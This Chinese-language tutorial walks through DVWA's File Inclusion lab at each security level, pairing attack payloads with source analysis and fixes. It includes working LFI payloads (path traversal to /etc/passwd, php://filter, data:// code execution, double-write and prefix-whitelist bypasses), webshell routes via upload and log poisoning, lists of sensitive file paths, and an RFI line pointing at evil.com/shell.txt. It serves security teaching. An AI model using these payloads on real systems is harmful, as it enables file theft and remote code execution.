DVWA文件包含漏洞通关:从原理到实战的攻防演练 📅 2026/6/25 22:28:41 1. 项目概述从靶场到实战的文件包含漏洞通关在安全测试的学习路径上DVWADamn Vulnerable Web Application是一个绕不开的经典靶场。它把各种常见的Web漏洞像一个个标准化的实验标本一样封装在可控的环境里供我们反复练习、拆解。今天要啃下的这块硬骨头是“File Inclusion”文件包含漏洞。别看这个名字听起来有点技术化它背后的原理和危害在实际的渗透测试和漏洞挖掘中可以说是“基础但致命”。简单来说它就像一个不设防的“文件调用员”攻击者可以诱骗应用程序去加载并执行本不该被访问的敏感文件轻则泄露服务器配置重则直接拿到系统控制权。我之所以花时间专门梳理DVWA中文件包含漏洞的通关过程是因为这个漏洞的利用方式非常灵活从低安全级别到高安全级别防御机制的演变就像一部微缩的Web安全攻防史。通过手动通关你不仅能学会怎么“黑进去”更能深刻理解开发者为什么会写出有漏洞的代码以及应该如何从代码层面去修复它。这对于想从事安全开发、渗透测试或者只是想提升自己网站安全性的开发者来说是一次绝佳的动手学习机会。无论你是刚入门的新手还是想系统回顾基础的老兵跟着这篇从环境搭建到高级绕过的手记走一遍都能有实实在在的收获。2. 漏洞原理深度剖析为什么程序会“认贼作父”要利用一个漏洞首先得吃透它的原理。文件包含漏洞的核心在于应用程序动态包含文件时对用户输入的控制不严。2.1 包含机制的本质代码复用与动态加载在PHP中include、require、include_once、require_once这些语句的设计初衷是为了优秀的代码复用。比如网站头部导航栏header、尾部版权信息footer通常被写成独立的文件然后在每个页面通过include(‘header.php’)来引入避免重复编码。这是一种“动态加载”的思想根据运行时的情况来决定加载哪个文件。问题就出在这个“动态”上。如果加载的文件路径全部或部分来自于用户可控制的输入如URL参数、表单数据、Cookie并且程序没有对这些输入进行严格的过滤和校验漏洞就产生了。例如一个页面index.php包含这样一行代码?php include($_GET[‘page’] . ‘.php’); ?它的本意可能是让用户通过?pagehome来访问home.php。但攻击者可以构造?page../../../../etc/passwd程序就会傻傻地尝试去包含系统密码文件。2.2 漏洞的两种主要类型根据包含的目标文件位置文件包含漏洞主要分为两类本地文件包含Local File Inclusion, LFI包含的是服务器本地的文件。就像上面的例子攻击者通过目录遍历../跳出Web目录去读取系统敏感文件如/etc/passwdLinux用户信息、/etc/shadow密码哈希、C:\Windows\System32\drivers\etc\hostsWindows主机文件或是Web应用的配置文件如config.php里面常有数据库密码。远程文件包含Remote File Inclusion, RFI这是LFI的“升级版”危害更大。当PHP的配置选项allow_url_include设置为On时include和require函数可以加载远程服务器上的文件。攻击者可以构造?pagehttp://evil.com/shell.txt让受害服务器直接去包含攻击者控制的远程服务器上的恶意脚本通常是一个Webshell并执行它从而实现远程代码执行。注意在现代PHP版本5.2及默认配置下allow_url_include通常是关闭的因此RFI的利用条件比LFI苛刻。但在一些老旧系统或特殊配置中仍需警惕。2.3 DVWA中的典型漏洞场景在DVWA的File Inclusion模块中它模拟了一个简单的文件查看功能。页面上可能有几个链接点击后显示“include1.php”、“include2.php”等文件的内容。查看页面URL你很可能看到类似?pagefile1.php这样的参数。这就是典型的用户输入控制文件路径的场景。我们的通关目标就是利用这个page参数从读取预设文件一步步扩展到读取系统文件甚至执行代码。3. DVWA环境准备与关卡设置工欲善其事必先利其器。在开始“攻击”之前我们需要一个稳定、一致的实验环境。3.1 环境搭建两种主流方案对比对于DVWA我推荐两种搭建方式各有优劣方案一使用Docker一键部署推荐给大多数学习者这是最快、最干净的方式。Docker能保证环境隔离避免弄乱你的主机系统。# 拉取DVWA官方镜像 docker pull vulnerables/web-dvwa # 运行容器将容器的80端口映射到主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行后在浏览器访问http://localhost:8080即可。首次访问需要点击页面上的“Create / Reset Database”按钮来初始化数据库。默认登录账号/密码是admin/password。方案二传统集成环境安装如XAMPP、PHPStudy适合需要深度定制PHP配置或研究环境交互的用户。从DVWA官网GitHub下载源码。将解压后的文件夹放入Web服务器根目录如XAMPP的htdocs。复制config/config.inc.php.dist为config/config.inc.php。根据你的数据库信息修改该配置文件中的连接参数。访问对应URL同样进行数据库初始化。实操心得对于纯粹的学习和通关练习Docker方案是首选。它避免了因PHP版本、扩展模块不同导致的奇怪问题让所有人都能站在同一起跑线上。如果你在后续想研究WAF绕过或自定义漏洞代码则可以考虑本地集成环境方便修改源码和配置。3.2 安全等级设置理解攻防的阶梯DVWA最精髓的设计之一就是其“安全等级”Security Level。它模拟了不同级别的防护措施Low毫无防护。代码几乎不对用户输入做任何处理是漏洞最原始的样子。Medium引入了基础的防护。可能使用了str_replace()等函数尝试过滤危险字符但往往存在可被绕过的缺陷。High采用了更强的防护。可能使用了白名单、严格的路径校验或编码转换。Impossible代表了从代码层面根本性解决漏洞的方案通常是输入校验与输出编码的结合。在左侧菜单栏找到“DVWA Security”并点击你就可以在下拉框中切换等级。我们的通关之旅也将沿着这个难度阶梯逐级向上。4. Low级别通关漏洞的原始形态与基础利用将安全等级设置为Low然后访问“File Inclusion”模块。4.1 漏洞点定位与测试页面上通常有三个链接点击后URL变为类似http://localhost:8080/vulnerabilities/fi/?pagefile1.php。很明显page参数就是我们的攻击入口。首先我们测试一下它是否真的存在文件包含漏洞以及是LFI还是RFI。测试LFI目录遍历尝试读取Web目录外的文件。将page参数改为../../../../etc/passwd。如果页面上显示了Linux系统的用户列表那么LFI漏洞存在。http://localhost:8080/vulnerabilities/fi/?page../../../../etc/passwd测试RFI尝试包含一个远程URL。将page参数改为http://你的IP或域名/test.txt假设你有一个可公网访问的服务器上面有个test.txt文件内容为?php phpinfo();?。如果页面执行了phpinfo()则RFI漏洞存在且allow_url_include为On。在Low级别下LFSI利用几乎必定成功。RFI则取决于你的PHP环境配置。4.2 关键利用技巧利用PHP封装协议除了直接读取文件PHP内置的多种“封装协议”是文件包含漏洞利用中的“神兵利器”。它们允许我们以各种流的形式访问文件或数据。php://filter协议最常用用于读取文件源码。当直接包含一个.php文件时服务器会执行它而非显示源码。php://filter可以帮我们“套上一层滤镜”以Base64编码等形式读取源码避免执行。?pagephp://filter/convert.base64-encode/resourceindex.php执行后页面会显示一串Base64编码的字符串。将其解码就能得到index.php的源代码。这对于审计其他漏洞如数据库配置至关重要。file://协议明确指定本地文件系统路径。有时比直接使用相对路径更稳定。?pagefile:///etc/passwddata://协议直接在URL中嵌入数据流。可以用于执行简短的PHP代码无需远程服务器是RFI的“替代品”。?pagedata://text/plain,?php phpinfo();? # 或者使用Base64编码避免特殊字符问题 ?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8注意事项data://协议的有效性也受限于PHP配置allow_url_include。但在某些情况下即使不允许真正的远程包含data://也可能被允许。4.3 获取Webshell的实战路径在Low级别获取Webshell网站后门的思路非常直接利用文件上传漏洞如果同一网站存在文件上传漏洞DVWA中也有此模块且上传后的文件路径可知我们可以先上传一个包含Webshell代码的图片马如shell.jpg然后通过文件包含漏洞去包含这个图片文件从而执行其中的PHP代码。?page../../hackable/uploads/shell.jpg写入日志文件如果无法上传可以尝试包含服务器的日志文件如Apache的access.log。我们可以在User-Agent或请求参数中注入PHP代码然后让服务器将这段代码记录到日志里最后通过LFI包含这个日志文件来执行代码。这需要知道日志的绝对路径。Low级别源码分析 切换到DVWA的“View Source”页面查看Low级别的代码。你会发现它仅仅是直接获取$_GET[‘page’]参数没有任何过滤?php $file $_GET[‘page’]; // 直接使用用户输入 ?这就是漏洞的根源。修复方法就是在Medium和High级别中逐步引入。5. Medium级别通关初级的防御与绕过将安全等级切换到Medium再次尝试Low级别的Payload。5.1 防御机制分析你会发现直接使用../../../../etc/passwd已经失效了。查看Medium级别的源码?php $file $_GET[‘page’]; // 尝试过滤 “../” 和 “..\” $file str_replace(array(“../“, “..\”), “”, $file); ?代码使用了str_replace()函数将参数中的../和..\替换为空字符串。这是一种非常初级且不安全的黑名单过滤。5.2 双写绕过技巧这种过滤逻辑存在经典的双写绕过漏洞。因为str_replace()只执行一次替换。当我们输入..././时中间的../被删除剩下的两部分..和./拼接起来又形成了../。原输入..././ 过滤过程删除中间的 ../ 剩余部分.. ./ ../因此我们的Payload可以构造为?page..././..././..././..././etc/passwd经过一次替换后它会神奇地变回../../../../etc/passwd从而成功绕过过滤。5.3 绝对路径与协议利用除了双写绕过我们还可以直接使用绝对路径或之前提到的PHP协议因为它们不包含../字符串。?pagefile:///etc/passwd ?page/etc/passwd # 如果知道绝对路径 ?pagephp://filter/convert.base64-encode/resourceindex.phpdata://协议同样可能生效因为它也不在黑名单内。实操心得Medium级别的防御告诉我们单纯的黑名单删除是徒劳的。攻击者总有办法找到过滤规则的盲点。安全开发中白名单策略只允许已知安全的输入远比黑名单可靠。6. High级别通关强化防御与终极绕过切换到High级别你会发现双写绕过和简单的绝对路径可能都失效了。6.1 防御机制深度解析查看High级别源码?php $file $_GET[‘page’]; // 只允许包含 “file” 开头的文件 if (!fnmatch(“file*”, $file) $file ! “include.php”) { echo “ERROR: File not found!”; exit; } ?这里的防御思路发生了质变白名单校验。它使用fnmatch()函数检查$file变量是否以file开头。这意味着我们传入的参数必须是像file1.php、file2.php这样的值或者是include.php。6.2 利用文件系统特性绕过白名单白名单是强大的但并非无懈可击。这里的关键在于代码校验的是传入的参数字符串是否以file开头而不是最终被包含的文件路径是否以file开头。在Linux/Unix文件系统中存在一个特性如果一个目录下存在一个名为file1.php的文件那么file1.php和./file1.php指向的是同一个文件。我们可以利用这个特性结合目录遍历?pagefile1.php/../../../../etc/passwd代码的校验逻辑是fnmatch(“file*”, “file1.php/../../../../etc/passwd”)这个字符串确实以file开头所以通过了校验然后PHP的include()函数会尝试加载这个路径。在文件系统解析时file1.php被当作一个目录虽然它是个文件然后向上回溯目录最终定位到/etc/passwd。由于/etc/passwd文件不存在.php后缀PHP会直接以文本形式输出其内容。另一种思路利用file://协议白名单只要求参数字符串以file开头那么file://协议自然也符合要求。?pagefile:///etc/passwd这个Payload会直接通过校验因为file:///etc/passwd确实以file开头。6.3 高级协议利用的局限性在High级别下由于白名单限制php://filter和data://协议无法使用因为它们的字符串不以file开头。这体现了白名单的有效性——它将可包含的资源范围极大地缩小了。7. 漏洞修复与安全开发实践通关Impossible级别就是学习如何从根本上修复这个漏洞。7.1 Impossible级别源码赏析查看Impossible级别的代码它是安全编程的典范?php $file $_GET[‘page’]; // 只允许特定的、预设的文件名 switch ($file) { case “file1.php”: case “file2.php”: case “file3.php”: case “include.php”: include($file); break; default: echo “ERROR: File not found!”; exit; } ?这里采用了严格的白名单机制。$file的值必须完全等于case中列举的四个字符串之一。用户输入被彻底限制在几个已知的安全选项内任何篡改都会导致失败。这是修复文件包含漏洞最有效、最推荐的方法。7.2 安全开发准则总结从DVWA的四级防御中我们可以提炼出以下安全开发准则永远不要信任用户输入这是所有Web安全的基石。所有来自客户端的数据GET/POST参数、Cookie、Header都必须视为不可信的。优先使用白名单而非黑名单白名单定义“什么是允许的”黑名单定义“什么是禁止的”。攻击手法千变万化黑名单永远无法穷尽。白名单将风险控制在最小已知范围。在操作文件时使用绝对路径白名单如果必须动态包含文件应基于一个固定的基础目录如/var/www/html/includes/然后拼接白名单内的文件名而不是直接使用用户输入拼接路径。关闭危险配置在生产环境中确保PHP的allow_url_fopen和allow_url_include配置为Off从根本上杜绝RFI漏洞。最小权限原则运行Web服务的进程如www-data用户应仅拥有访问Web目录所必需的最小权限避免它能读取/etc/passwd等关键系统文件。8. 实战拓展与高级利用思路在真实的渗透测试中情况往往比靶场复杂。以下是一些进阶思路8.1 路径截断技巧针对旧版PHP在PHP版本小于5.3.4且magic_quotes_gpc关闭的情况下可能存在空字节截断漏洞。例如?page../../../boot.ini%00其中的%00空字节会告诉PHP字符串在此结束从而截断后面可能由程序自动添加的后缀如.php。但此漏洞在现代PHP环境中已基本绝迹。8.2 结合其他信息泄露漏洞单纯的LFI可能只能读文件。但如果能结合其他漏洞效果会倍增结合文件上传如前所述这是获取Webshell的经典组合拳。结合日志注入通过包含/var/log/apache2/access.log或/proc/self/environ环境变量等文件将代码写入其中再包含。读取PHP Session文件Session文件如/tmp/sess_[sessionid]有时会存储序列化的用户数据可能包含敏感信息甚至可构造的恶意对象用于反序列化攻击。8.3 自动化工具辅助测试对于大型应用手动测试每个参数效率低下。可以借助工具Burp Suite Intruder加载包含常见路径遍历../../etc/passwd,..\..\windows\win.ini和PHP协议Payload的字典对目标参数进行模糊测试。定制化脚本用Python编写脚本自动测试不同深度../,../../,../../../…的路径遍历并识别响应中的特征如“root:x:0:0”提高测试效率。9. 常见问题与排查技巧实录在实际操作DVWA或类似靶场时你可能会遇到以下问题Q1访问DVWA页面显示“PHP function allow_url_include is disabled.”A1这是RFI利用的前提条件。在DVWA的“Setup”页面可以检查并建议你修改PHP配置。在Docker环境中你可以进入容器内部修改/etc/php/xxx/apache2/php.ini文件将allow_url_include和allow_url_fopen设置为On然后重启Apache服务service apache2 restart。但出于安全学习目的重点掌握LFI和协议利用即可RFI在现代环境中较少见。Q2使用php://filter读取文件时显示乱码或报错A2确保Payload格式正确php://filter/convert.base64-encode/resource目标文件路径。得到的输出是一长串Base64编码需要用Base64解码工具在线网站或系统命令echo ‘编码字符串’ | base64 -d进行解码才能看到源码。如果直接显示乱码说明可能包含二进制数据或编码不对。Q3在Medium级别双写绕过不成功A3检查你的Payload格式。确保是..././而不是....//。同时注意操作系统的路径分隔符Windows下可能需要尝试..\的变体。最稳妥的方式是直接使用file://协议或绝对路径进行测试。Q4包含文件后页面布局错乱或只显示部分内容A4被包含的非PHP文件如.txt,.ini内容会被直接输出到HTML流中如果其中包含html,div等标签会破坏原有页面结构。使用浏览器的“查看页面源代码”功能CtrlU可以清晰地看到被包含文件的完整原始内容。Q5如何知道目标系统的敏感文件路径A5这依赖于对操作系统的了解和对目标的信息收集。Linux/Unix常见路径/etc/passwd,/etc/shadow,/etc/hosts,/etc/issue,/proc/version,/proc/self/environ,~/.bash_history, Web日志/var/log/apache2/access.log,/var/log/nginx/access.log。Windows常见路径C:\Windows\System32\drivers\etc\hosts,C:\boot.ini旧系统,C:\Windows\win.ini,C:\Windows\System32\inetsrv\MetaBase.xmlIIS配置。 在实战中可以通过报错信息、技术栈识别Wappalyzer插件等方式缩小范围并进行暴力猜解。